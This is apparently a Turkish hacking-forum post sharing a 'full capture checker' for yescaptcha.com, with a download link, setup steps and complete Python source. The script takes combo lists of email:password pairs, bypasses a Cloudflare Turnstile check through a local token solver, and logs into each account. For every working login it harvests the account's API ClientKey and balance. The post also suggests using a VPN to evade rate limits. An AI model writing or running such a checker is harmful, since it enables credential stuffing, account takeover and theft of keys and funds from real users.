GENEL yescaptcha Full capture checker

WASDW

Bronze
Bronze
44 Mesajlar
2,750 Tcoin
Bronz %44
Link: https://dosya.co/49uddqt9uxwc/yescap.rar.html

Örnek Capture


ClientKey:
Balance:

Nasıl Kullanılır?

  1. İlk olarak cfbp.py dosyasını çalıştırın.
  2. Ardından yescap.py dosyasını açarak işlemi başlatın.

Gerekli Kütüphaneler (Libraries)

Projeyi çalıştırmadan önce bilgisayarınızda Python'ın kurulu olduğundan ve aşağıdaki kütüphanelerin yüklendiğinden emin olun.

Not: os, json, time, re ve sys kütüphaneleri Python ile dahili (yerleşik) olarak gelir, harici bir indirme gerektirmez. Sadece aşağıdaki harici kütüphaneleri yüklemeniz yeterlidir:
Komut satırını (CMD veya Terminal) açarak şu komutla gerekli kütüphaneleri indirebilirsiniz
pip install pywebview requests


Rate limt yerseniz Vpn le bypasslaya bilirsiniz


Kod:
Bu da GUI'siz olanı.
import requests
import re
import sys
def check_account(email: str, password: str) -> dict:
    """
    YesCaptcha hesap kontrol fonksiyonu.
    Dönen dict: {"status": "SUCCESS"|"FAILURE"|"2FACTOR", ...}
    """
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
                       "(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
        "Pragma": "no-cache",
        "Accept": "*/*",
    }
    session = requests.Session()
    session.headers.update(headers)

    r = session.get("http://127.0.0.1:5001/get-token")
    r.raise_for_status()
    match = re.search(r'"token"\s*:\s*"([^"]+)"', r.text)
    if not match:
        raise ValueError("Token parse edilemedi. Yanıt: " + r.text[:200])
    tokeninisikiimmmmm = match.group(1)
   
    r = session.get("https://yescaptcha.com/auth/login?next=%2Fdashboard.html")
    r.raise_for_status()
    match = re.search(
        r'<input\s+id="csrf_token"\s+name="csrf_token"\s+type="hidden"\s+value="([^"]+)"',
        r.text,

    )
    if not match:
        raise ValueError("CSRF token parse edilemedi.")
    csrftokenflnfilanamınakoyumsenin = match.group(1)

    login_data = {
        "csrf_token": csrftokenflnfilanamınakoyumsenin,
        "email": email,
        "password": password,
        "remember_me": "y",
        "cf-turnstile-response": tokeninisikiimmmmm,
    }
    r = session.post(
        "https://yescaptcha.com/auth/login?next=%2Fdashboard.html",
        data=login_data,
        headers={"Content-Type": "application/x-www-form-urlencoded", **headers},
    )
    r.raise_for_status()
    source = r.text

    failure_keys = [
        "User does not exist or email is incorrect!",
        "Incorrect password!",
    ]
    twofactor_keys = [
        "Two-Factor F2A Verification",
    ]
    success_keys = [
        "Configure successful",
    ]
    for key in failure_keys:
        if key in source:
            return {"status": "FAILURE", "reason": key}
    for key in twofactor_keys:
        if key in source:
            return {"status": "2FACTOR"}
    is_success = any(key in source for key in success_keys)
    if not is_success:
        return {"status": "FAILURE", "reason": "yanlis Kulanıcı Adı ve Şifre Fln"}

    r = session.get("https://yescaptcha.com/dashboard.html")
    r.raise_for_status()
    dash = r.text

    match = re.search(
        r'id="ClientKey"\s+placeholder="Search"\s+aria-label="Search"\s+value="([^"]+)"',
        dash,
    )
    clientKeyApıkeymiyanişimdibenyalışmıanlıyorum = match.group(1) if match else "N/A"
   
    match = re.search(r'<span\s+id="balanceTag">([^<]+)</span>', dash)
    parahiçbirşeydenönemliDeğil = match.group(1) if match else "N/A"
    return {
        "status": "SUCCESS",
        "ClientKey": clientKeyApıkeymiyanişimdibenyalışmıanlıyorum,
        "balance": parahiçbirşeydenönemliDeğil,
    }

if __name__ == "__main__":
    import os
    script_dir = os.path.dirname(os.path.abspath(__file__))
    acc_file = os.path.join(script_dir, "acc.txt")
    success_file = os.path.join(script_dir, "success.txt")
    if not os.path.isfile(acc_file):
        print(f"[!] acc.txt bulunamadı: {acc_file}")
        sys.exit(1)
    with open(acc_file, "r", encoding="utf-8") as f:
        lines = [line.strip() for line in f if line.strip()]
    total = len(lines)
    print(f"[*] Toplam {total} hesap yüklendi.\n")
    success_count = 0
    fail_count = 0
    twofactor_count = 0
    error_count = 0
    for i, line in enumerate(lines, 1):
        if ":" not in line:
            print(f"[{i}/{total}] ATLA  — Geçersiz satır: {line}")
            continue
        email, password = line.split(":", 1)
        try:
            result = check_account(email, password)
            status = result["status"]
            if status == "SUCCESS":
                success_count += 1
                client_key = result.get("ClientKey", "N/A")
                balance = result.get("balance", "N/A")
                hit_line = f"{email}:{password} | ClientKey: {client_key} | Balance: {balance}"
                print(f"[{i}/{total}] ✅ SUCCESS — {hit_line}")
                with open(success_file, "a", encoding="utf-8") as sf:
                    sf.write(hit_line + "\n")
            elif status == "2FACTOR":
                twofactor_count += 1
                print(f"[{i}/{total}] ⚠️  2FACTOR — {email}")
            else:
                fail_count += 1
                reason = result.get("reason", "")
                print(f"[{i}/{total}] ❌ FAIL    — {email} ({reason})")
        except Exception as e:
            error_count += 1
            print(f"[{i}/{total}] 💥 ERROR   — {email} → {e}")
    print(f"\n{'='*50}")
    print(f"  Toplam   : {total}")
    print(f"  ✅ Başarılı: {success_count}")
    print(f"  ❌ Başarısız: {fail_count}")
    print(f"  ⚠️  2FA     : {twofactor_count}")
    print(f"  💥 Hata    : {error_count}")
    print(f"{'='*50}")
    if success_count > 0:
        print(f"\n[✓] Başarılı hesaplar → {success_file}")
 

Personalize

Geri
Üst